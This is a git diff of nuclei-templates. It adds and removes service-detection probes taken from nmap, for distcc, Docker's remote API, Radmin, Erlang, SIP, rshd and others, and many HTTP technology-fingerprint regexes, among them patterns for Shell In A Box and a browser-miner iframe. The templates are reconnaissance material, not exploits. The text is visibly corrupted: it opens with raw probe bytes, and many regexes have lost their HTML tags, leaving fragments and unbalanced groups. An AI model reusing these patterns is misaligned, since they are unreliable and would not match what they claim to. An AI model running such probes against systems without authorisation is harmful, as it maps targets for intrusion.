DIST00000001ARGC00000005ARGV00000002ccARGV00000002-cARGV00000006nmap.cARGV00000002-oARGV00000006nmap.oDOTI00000000 - host: - - '{{Hostname}}' - port: '3632' - extractors: - - name: distccd - type: regex - regex: - - '(?i)^[\w._-]+DONE[\w._-]+ .*ERROR: attempt to use unknown compiler aborted: ([\w._-]+)\n' diff --git a/nuclei-templates/Other/2704416492.yaml b/nuclei-templates/Other/2704416492.yaml new file mode 100644 index 0000000000..787ff2f42c --- /dev/null +++ b/nuclei-templates/Other/2704416492.yaml @@ -0,0 +1,21 @@ +id: insteon-plm +info: + name: Insteon SmartLinc PLM + author: nmap,cn-kali-team + tags: detect,tech,insteon-plm,service + severity: info + metadata: + info: 'device type: $I(1,">")' + rarity: 9 +tcp: +- name: insteon-plm + inputs: + - data: \x02\x60 + host: + - '{{Hostname}}' + port: '9761' + extractors: + - name: insteon-plm + type: regex + regex: + - ^\x02\x60...(.).\x9b\x06$ diff --git a/nuclei-templates/Other/2707902405.yaml b/nuclei-templates/Other/2707902405.yaml deleted file mode 100644 index 500c72c94d..0000000000 --- a/nuclei-templates/Other/2707902405.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: http -info: - name: MenuetOS webcam server - author: nmap,cn-kali-team - tags: detect,tech,http,service - severity: info - metadata: - operating_system: MenuetOS - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: http - type: regex - regex: - - '^HTTP/1\.1 200 OK\r\nServer: Menuet\r\nConnection: close\r\nContent-Length: 0\d+\r\nContent-Type: image/bmp\r\n\r\n' diff --git a/nuclei-templates/Other/2723016985.yaml b/nuclei-templates/Other/2723016985.yaml deleted file mode 100644 index 614c1b18a5..0000000000 --- a/nuclei-templates/Other/2723016985.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: bitcoin-jsonrpc -info: - name: Dash cryptocurrency JSON-RPC - author: nmap,cn-kali-team - tags: detect,tech,bitcoin-jsonrpc,service - severity: info - metadata: - rarity: 0 - version: $1 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: bitcoin-jsonrpc - type: regex - regex: - - '(?i)^HTTP/1\.1 403 Forbidden\r\n(?:[^\r\n]+\r\n)*?Server: dash-json-rpc/v(\d[\w._-]+)\r\n' diff --git a/nuclei-templates/Other/2726089592.yaml b/nuclei-templates/Other/2726089592.yaml deleted file mode 100644 index 1ae810560b..0000000000 --- a/nuclei-templates/Other/2726089592.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: docker -info: - name: Docker remote API - author: nmap,cn-kali-team - tags: detect,tech,docker,service - severity: info - metadata: - info: API $2; KernelVersion $4 - operating_system: $3 - product: docker - rarity: 8 - vendor: docker - verified: true - version: $1 -tcp: -- name: docker - inputs: - - data: GET /version HTTP/1.1\r\n\r\n - host: - - '{{Hostname}}' - port: 2375,2379,2380 - extractors: - - name: docker - type: regex - regex: - - '^HTTP/1\.1 200 OK\r\nContent-Type: application/json\r\nServer: Docker.*\r\nDate: .*\r\nContent-Length: \d+\r\n\r\n{.*\"Version\":\"([^"]+)\",.*\"ApiVersion\":\"([^"]+)\",.*\"Os\":\"([^"]+)\",.*\"KernelVersion\":\"([^"]+)\"' diff --git a/nuclei-templates/Other/2726646607.yaml b/nuclei-templates/Other/2726646607.yaml new file mode 100644 index 0000000000..7cb8ae7892 --- /dev/null +++ b/nuclei-templates/Other/2726646607.yaml @@ -0,0 +1,20 @@ +id: erlang-node +info: + name: Erlang Distribution Node + author: nmap,cn-kali-team + tags: detect,tech,erlang-node,service + severity: info + metadata: + info: 'Status: $1' + rarity: 9 +tcp: +- name: erlang-node + inputs: + - data: \0\x0bn\0\0\0\0\x01\x04nm@p + host: + - '{{Hostname}}' + extractors: + - name: erlang-node + type: regex + regex: + - (?i)^\0[^\x03]s(.+) diff --git a/nuclei-templates/Other/2727834334.yaml b/nuclei-templates/Other/2727834334.yaml new file mode 100644 index 0000000000..bb5a527ecc --- /dev/null +++ b/nuclei-templates/Other/2727834334.yaml @@ -0,0 +1,26 @@ +id: radmin +info: + name: Famatech Radmin + author: nmap,cn-kali-team + tags: detect,tech,radmin,service + severity: info + metadata: + info: Windows Authentication + operating_system: Windows + product: radmin + rarity: 8 + vendor: famatech + verified: true + version: 3.X +tcp: +- name: radmin + inputs: + - data: \x01\x00\x00\x00\x01\x00\x00\x00\x08\x08 + host: + - '{{Hostname}}' + port: 4899,9001 + extractors: + - name: radmin + type: regex + regex: + - ^\x01\x00\x00\x00\x25\x79\x00\x02\x12\x08\x02\x00\x79\x0a diff --git a/nuclei-templates/Other/2757251844.yaml b/nuclei-templates/Other/2757251844.yaml deleted file mode 100644 index 19f57f62ff..0000000000 --- a/nuclei-templates/Other/2757251844.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: sip -info: - name: Tely sipd - author: nmap,cn-kali-team - tags: detect,tech,sip,service - severity: info - metadata: - fallback: - - get-request - rarity: 5 - version: $1 -tcp: -- name: sipoptions - inputs: - - data: 'OPTIONS sip:nm SIP/2.0\r\nVia: SIP/2.0/TCP nm;branch=foo\r\nFrom: ;tag=root\r\nTo: \r\nCall-ID: 50000\r\nCSeq: 42 OPTIONS\r\nMax-Forwards: 70\r\nContent-Length: 0\r\nContact: \r\nAccept: application/sdp\r\n\r\n' - host: - - '{{Hostname}}' - port: 406,5060,8081,31337 - extractors: - - name: sip - type: regex - regex: - - '(?i)^SIP/2\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?User-Agent: Tely_v([\d.-]+)\r\n' diff --git a/nuclei-templates/Other/2763879923.yaml b/nuclei-templates/Other/2763879923.yaml new file mode 100644 index 0000000000..7408e0edbe --- /dev/null +++ b/nuclei-templates/Other/2763879923.yaml @@ -0,0 +1,20 @@ +id: adobe-crossdomain +info: + name: Adobe cross-domain policy + author: nmap,cn-kali-team + tags: detect,tech,adobe-crossdomain,service + severity: info + metadata: + info: 'domain: $1; ports: $2' + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: adobe-crossdomain + type: regex + regex: + - (?i)^[ \n]*[ \n]*$ diff --git a/nuclei-templates/Other/2770804765.yaml b/nuclei-templates/Other/2770804765.yaml new file mode 100644 index 0000000000..45d895fbe0 --- /dev/null +++ b/nuclei-templates/Other/2770804765.yaml @@ -0,0 +1,22 @@ +id: shell +info: + name: Netkit rshd + author: nmap,cn-kali-team + tags: detect,tech,shell,service + severity: info + metadata: + product: netkit_rsh + rarity: 0 + vendor: netkit + verified: true +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: shell + type: regex + regex: + - '^\x01getnameinfo: Temporary failure in name resolution\n' diff --git a/nuclei-templates/Other/2774206180.yaml b/nuclei-templates/Other/2774206180.yaml deleted file mode 100644 index 7633cbdea4..0000000000 --- a/nuclei-templates/Other/2774206180.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: minecraft -info: - name: Minecraft - author: nmap,cn-kali-team - tags: detect,tech,minecraft,service - severity: info - metadata: - info: 'Protocol: $P(1), Message: $P(3), Users: $P(4)/$P(5)' - rarity: 8 - version: $P(2) -tcp: -- name: minecraft-ping - inputs: - - data: \xFE\x01 - host: - - '{{Hostname}}' - port: '25565' - extractors: - - name: minecraft - type: regex - regex: - - (?i)^\xff\x00.\x00\xa7\x00\x31\x00\x00(.+?)\x00\x00(.+?)\x00\x00(.+?)\x00\x00(.+?)\x00\x00(.+) diff --git a/nuclei-templates/Other/2784193107.yaml b/nuclei-templates/Other/2784193107.yaml new file mode 100644 index 0000000000..08dd4c92f3 --- /dev/null +++ b/nuclei-templates/Other/2784193107.yaml @@ -0,0 +1,22 @@ +id: antivir +info: + name: Symantec AntiVirus Scan Engine + author: nmap,cn-kali-team + tags: detect,tech,antivir,service + severity: info + metadata: + product: antivirus_scan_engine + rarity: 0 + vendor: symantec + verified: true +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: antivir + type: regex + regex: + - ^220 Symantec AntiVirus Scan Engine ready\.\r\n diff --git a/nuclei-templates/Other/2802101838.yaml b/nuclei-templates/Other/2802101838.yaml new file mode 100644 index 0000000000..47717db495 --- /dev/null +++ b/nuclei-templates/Other/2802101838.yaml @@ -0,0 +1,20 @@ +id: openflow +info: + name: OpenFlow + author: nmap,cn-kali-team + tags: detect,tech,openflow,service + severity: info + metadata: + rarity: 0 + version: 1.5.x +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: openflow + type: regex + regex: + - (?i)^\x06\0\0(?:\x10....\0\x01\0)?\x08....$ diff --git a/nuclei-templates/Other/2809943376.yaml b/nuclei-templates/Other/2809943376.yaml new file mode 100644 index 0000000000..1d3e8277d7 --- /dev/null +++ b/nuclei-templates/Other/2809943376.yaml @@ -0,0 +1,19 @@ +id: minecraft +info: + name: Minecraft game server + author: nmap,cn-kali-team + tags: detect,tech,minecraft,service + severity: info + metadata: + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: minecraft + type: regex + regex: + - ^\xff\0\x17Took too long to log in$ diff --git a/nuclei-templates/Other/2814510094.yaml b/nuclei-templates/Other/2814510094.yaml new file mode 100644 index 0000000000..8e4835bfda --- /dev/null +++ b/nuclei-templates/Other/2814510094.yaml @@ -0,0 +1,20 @@ +id: ftp +info: + name: Multicraft ftpd + author: nmap,cn-kali-team + tags: detect,tech,ftp,service + severity: info + metadata: + rarity: 0 + version: $1 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: ftp + type: regex + regex: + - ^220 Multicraft ([\w._-]+) FTP server\r\n diff --git a/nuclei-templates/Other/2826609747.yaml b/nuclei-templates/Other/2826609747.yaml new file mode 100644 index 0000000000..994550b09e --- /dev/null +++ b/nuclei-templates/Other/2826609747.yaml @@ -0,0 +1,25 @@ +id: http +info: + name: Cassini httpd + author: nmap,cn-kali-team + tags: detect,tech,http,service + severity: info + metadata: + info: Sonic Foundry Mediasite Service Manager + operating_system: Windows + product: cassini + rarity: 0 + vendor: microsoft + verified: true + version: $1 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: http + type: regex + regex: + - '(?i)^HTTP/1\.1 400 Bad Request\r\nServer: Cassini/([\w._-]+)\r\n.* + condition: or + part: body + + - type: regex + name: directadmin + regex: + - ]+>DirectAdmin Web Control Panel + condition: or + part: body + + - type: regex + name: xenforo + regex: + - (?:jQuery\.extend\(true, XenForo|Forum software by XenForo™| + condition: or + part: body + + - type: regex + name: moodle + regex: + - ]+moodlelogo + condition: or + part: body + + - type: regex + name: minibb + regex: + - [^<]+\n + condition: or + part: body + + - type: regex + name: woocommerce + regex: + - + condition: or + part: body + + - type: regex + name: jsdelivr + regex: + - <[^>]+?//cdn\.jsdelivr\.net/ + condition: or + part: body + + - type: regex + name: user.com + regex: + - ]+/id="ue_widget" + condition: or + part: body + + - type: regex + name: smart-ad-server + regex: + - ]+smartadserver\.com\/call + condition: or + part: body + + - type: regex + name: comandia + regex: + - ]+=['"]//cdn\.mycomandia\.com + condition: or + part: body + + - type: regex + name: shellinabox + regex: + - Shell In A Box + - must be enabled for ShellInABox + condition: or + part: body + + - type: regex + name: websocket + regex: + - ]+rel=["']web-socket["'] + - <(?:link|a)[^>]+href=["']wss?:// + condition: or + part: body + + - type: regex + name: gravatar + regex: + - <[^>]+gravatar\.com/avatar/ + condition: or + part: body + + - type: regex + name: php-nuke + regex: + - <[^>]+Powered by PHP-Nuke + condition: or + part: body + + - type: regex + name: essential-js-2 + regex: + - '<[^>]+ class ?= ?"(?:e-control|[^"]+ e-control)(?: )[^"]* e-lib\b' + condition: or + part: body + + - type: regex + name: wolf-cms + regex: + - (?:]+zbxCallPostScripts + condition: or + part: body + + - type: regex + name: phpbb + regex: + - Powered by ]+phpBB + -
+ - <[^>]+styles/(?:sub|pro)silver/theme + - ]+i_icon_mini + - ]+?href="[^"]+sweet-alert(?:\.min)?\.css + condition: or + part: body + + - type: regex + name: semantic-ui + regex: + - ]+semantic(?:\.min)\.css" + condition: or + part: body + + - type: regex + name: teamcity + regex: + - Version ([\d\.]+) + condition: or + part: body + + - type: regex + name: sapper + regex: + - ]*>__SAPPER__ + condition: or + part: body + + - type: regex + name: contao + regex: + - + - ]+(?:typolight|contao)\.css + condition: or + part: body + + - type: regex + name: wpcache + regex: + - + condition: or + part: body + + - type: regex + name: boldgrid + regex: + - ]+boldgrid + - ]+post-and-page-builder + - ]+s\d+\.boldgrid\.com + condition: or + part: body + + - type: regex + name: zurb-foundation + regex: + - ]+foundation[^>"]+css + -
]*class="[^"]*(?:small|medium|large)-\d{1,2} columns + condition: or + part: body + + - type: regex + name: shoptet + regex: + - ]*href="https?://cdn\.myshoptet\.com/ + condition: or + part: body + + - type: regex + name: phpalbum + regex: + - + condition: or + part: body + + - type: regex + name: rbs-change + regex: + - ]+xmlns:change= + condition: or + part: body + + - type: regex + name: appnexus + regex: + - <(?:iframe|img)[^>]+adnxs\.(?:net|com) + condition: or + part: body + + - type: regex + name: lightbox + regex: + - ]*href="[^"]+lightbox(?:\.min)?\.css + condition: or + part: body + + - type: regex + name: shopware + regex: + - Shopware ([\d\.]+) [^<]+ + condition: or + part: body + + - type: regex + name: webmine + regex: + - <iframe[^>]+src=[\'"]https://webmine\.cz/miner\?key= + condition: or + part: body + + - type: regex + name: fluxbb + regex: + - <p id="poweredby">[^<]+<a href="https?://fluxbb\.org/"> + condition: or + part: body + + - type: regex + name: gemius + regex: + - <a [^>]*onclick="gemius_hit + condition: or + part: body + + - type: regex + name: sql-buddy + regex: + - (?:<title>SQL Buddy|<[^>]+onclick="sideMainClick\("home\.php) + condition: or + part: body + + - type: regex + name: jenkins + regex: + - Jenkins ver\. ([\d.]+) + condition: or + part: body + + - type: regex + name: t-soft + regex: + - + condition: or + part: body + + - type: regex + name: datocms + regex: + - <[^>]+https://www\.datocms-assets\.com + condition: or + part: body + + - type: regex + name: sonarqubes + regex: + - ]*src="[^/]*//[^/]*serving-sys\.com/) + condition: or + part: body + + - type: regex + name: koken + regex: + - + - + condition: or + part: body + + - type: regex + name: meebo + regex: + - (?: + - + condition: or + part: body + + - type: regex + name: a-frame + regex: + - ]*> + condition: or + part: body + + - type: regex + name: dreamweaver + regex: + - + - + - ]+_tcm\d{2,3}-\d{6}\. + condition: or + part: body + + - type: regex + name: microsoft-publisher + regex: + - (?:]*xmlns:w="urn:schemas-microsoft-com:office:publisher"|\s*<\/div> + condition: or + part: body + + - type: regex + name: rebelmouse + regex: + - + condition: or + part: body + + - type: regex + name: cargo + regex: + - ]+Cargo feed + condition: or + part: body + + - type: regex + name: sentry + regex: + - ']*>\s*Raven\.config\(''[^'']*'', \{\s+release: ''([0-9\.]+)''' + condition: or + part: body + + - type: regex + name: visual-website-optimizer + regex: + - + condition: or + part: body + + - type: regex + name: twiki + regex: + - ]*(?:title|alt)="This site is powered by the TWiki collaboration platform + condition: or + part: body + + - type: regex + name: javadoc + regex: + - + condition: or + part: body + + - type: regex + name: tamago + regex: + - ]*href="http://tamago\.temonalab\.com + condition: or + part: body + + - type: regex + name: haddock + regex: + -

Produced by Haddock version ([0-9.]+)

+ condition: or + part: body + + - type: regex + name: lightmon-engine + regex: + - + condition: or + part: body + + - type: regex + name: roundcube + regex: + - RoundCube + condition: or + part: body + + - type: regex + name: advanced-web-stats + regex: + - aws\.src = [^<]+caphyon-analytics + condition: or + part: body + + - type: regex + name: riskified + regex: + - <[^>]*beacon\.riskified\.com + - <[^>]*c\.riskified\.com + condition: or + part: body + + - type: regex + name: dnn + regex: + - <!-- by DotNetNuke Corporation + - <!-- DNN Platform + condition: or + part: body + + - type: regex + name: w3-total-cache + regex: + - <!--[^>]+W3 Total Cache + condition: or + part: body + + - type: regex + name: tessitura + regex: + - '<!--[^>]+Tessitura Version: (\d*\.\d*\.\d*)?' + condition: or + part: body + + - type: regex + name: synology-diskstation + regex: + - <noscript><div class='syno-no-script' + condition: or + part: body + + - type: regex + name: whooshkaa + regex: + - <iframe src="[^>]+whooshkaa\.com + condition: or + part: body + + - type: regex + name: cubecart + regex: + - (?:Powered by <a href=[^>]+cubecart\.com|<p[^>]+>Powered by CubeCart) + condition: or + part: body + + - type: regex + name: powergap + regex: + - <a[^>]+title="POWERGAP + - <input type="hidden" name="shopid" + condition: or + part: body + + - type: regex + name: amcharts + regex: + - <svg[^>]*><desc>JavaScript chart by amCharts ([\d.]*) + condition: or + part: body + + - type: regex + name: webflow + regex: + - <html[^>]+data-wf-site + condition: or + part: body + + - type: regex + name: dokuwiki + regex: + - <div[^>]+id="dokuwiki__> + - <a[^>]+href="#dokuwiki__ + condition: or + part: body + + - type: regex + name: jquery-pjax + regex: + - <div[^>]+data-pjax-container + condition: or + part: body + + - type: regex + name: phpdocumentor + regex: + - <!-- Generated by phpDocumentor + condition: or + part: body + + - type: regex + name: owncloud + regex: + - <a href="https://owncloud\.com" target="_blank">ownCloud Inc\.</a><br/>Your Cloud, Your Data, Your Way! + condition: or + part: body + + - type: regex + name: hexo + regex: + - Powered by <a href="https?://hexo\.io/?"[^>]*>Hexo</ + condition: or + part: body + + - type: regex + name: atlassian-bitbucket + regex: + - <li>Atlassian Bitbucket <span title="[a-z0-9]+" id="product-version" data-commitid="[a-z0-9]+" data-system-build-number="[a-z0-9]+"> v([\d.]+)< + condition: or + part: body + + - type: regex + name: phppgadmin + regex: + - (?:<title>phpPgAdmin|phpPgAdmin) + condition: or + part: body + + - type: regex + name: adnegah + regex: + - - - - condition: or - part: body - - type: regex - name: a-frame - regex: - - ]*> - condition: or - part: body - - type: regex - name: dreamweaver - regex: - - - - - - ]+_tcm\d{2,3}-\d{6}\. - condition: or - part: body - - type: regex - name: microsoft-publisher - regex: - - (?:]*xmlns:w="urn:schemas-microsoft-com:office:publisher"|\s*<\/div> - condition: or - part: body - - type: regex - name: rebelmouse - regex: - - - condition: or - part: body - - type: regex - name: cargo - regex: - - ]+Cargo feed - condition: or - part: body - - type: regex - name: sentry - regex: - - ']*>\s*Raven\.config\(''[^'']*'', \{\s+release: ''([0-9\.]+)''' - condition: or - part: body - - type: regex - name: visual-website-optimizer - regex: - - - condition: or - part: body - - type: regex - name: twiki - regex: - - ]*(?:title|alt)="This site is powered by the TWiki collaboration platform - condition: or - part: body - - type: regex - name: javadoc - regex: - - - condition: or - part: body - - type: regex - name: tamago - regex: - - ]*href="http://tamago\.temonalab\.com - condition: or - part: body - - type: regex - name: haddock - regex: - -

Produced by Haddock version ([0-9.]+)

- condition: or - part: body - - type: regex - name: lightmon-engine - regex: - - - condition: or - part: body - - type: regex - name: roundcube - regex: - - RoundCube - condition: or - part: body - - type: regex - name: advanced-web-stats - regex: - - aws\.src = [^<]+caphyon-analytics - condition: or - part: body - - type: regex - name: riskified - regex: - - <[^>]*beacon\.riskified\.com - - <[^>]*c\.riskified\.com - condition: or - part: body - - type: regex - name: dnn - regex: - - <!-- by DotNetNuke Corporation - - <!-- DNN Platform - condition: or - part: body - - type: regex - name: w3-total-cache - regex: - - <!--[^>]+W3 Total Cache - condition: or - part: body - - type: regex - name: tessitura - regex: - - '<!--[^>]+Tessitura Version: (\d*\.\d*\.\d*)?' - condition: or - part: body - - type: regex - name: synology-diskstation - regex: - - <noscript><div class='syno-no-script' - condition: or - part: body - - type: regex - name: whooshkaa - regex: - - <iframe src="[^>]+whooshkaa\.com - condition: or - part: body - - type: regex - name: cubecart - regex: - - (?:Powered by <a href=[^>]+cubecart\.com|<p[^>]+>Powered by CubeCart) - condition: or - part: body - - type: regex - name: powergap - regex: - - <a[^>]+title="POWERGAP - - <input type="hidden" name="shopid" - condition: or - part: body - - type: regex - name: amcharts - regex: - - <svg[^>]*><desc>JavaScript chart by amCharts ([\d.]*) - condition: or - part: body - - type: regex - name: webflow - regex: - - <html[^>]+data-wf-site - condition: or - part: body - - type: regex - name: dokuwiki - regex: - - <div[^>]+id="dokuwiki__> - - <a[^>]+href="#dokuwiki__ - condition: or - part: body - - type: regex - name: jquery-pjax - regex: - - <div[^>]+data-pjax-container - condition: or - part: body - - type: regex - name: phpdocumentor - regex: - - <!-- Generated by phpDocumentor - condition: or - part: body - - type: regex - name: owncloud - regex: - - <a href="https://owncloud\.com" target="_blank">ownCloud Inc\.</a><br/>Your Cloud, Your Data, Your Way! - condition: or - part: body - - type: regex - name: hexo - regex: - - Powered by <a href="https?://hexo\.io/?"[^>]*>Hexo</ - condition: or - part: body - - type: regex - name: atlassian-bitbucket - regex: - - <li>Atlassian Bitbucket <span title="[a-z0-9]+" id="product-version" data-commitid="[a-z0-9]+" data-system-build-number="[a-z0-9]+"> v([\d.]+)< - condition: or - part: body - - type: regex - name: phppgadmin - regex: - - (?:<title>phpPgAdmin|phpPgAdmin) - condition: or - part: body - - type: regex - name: adnegah - regex: - -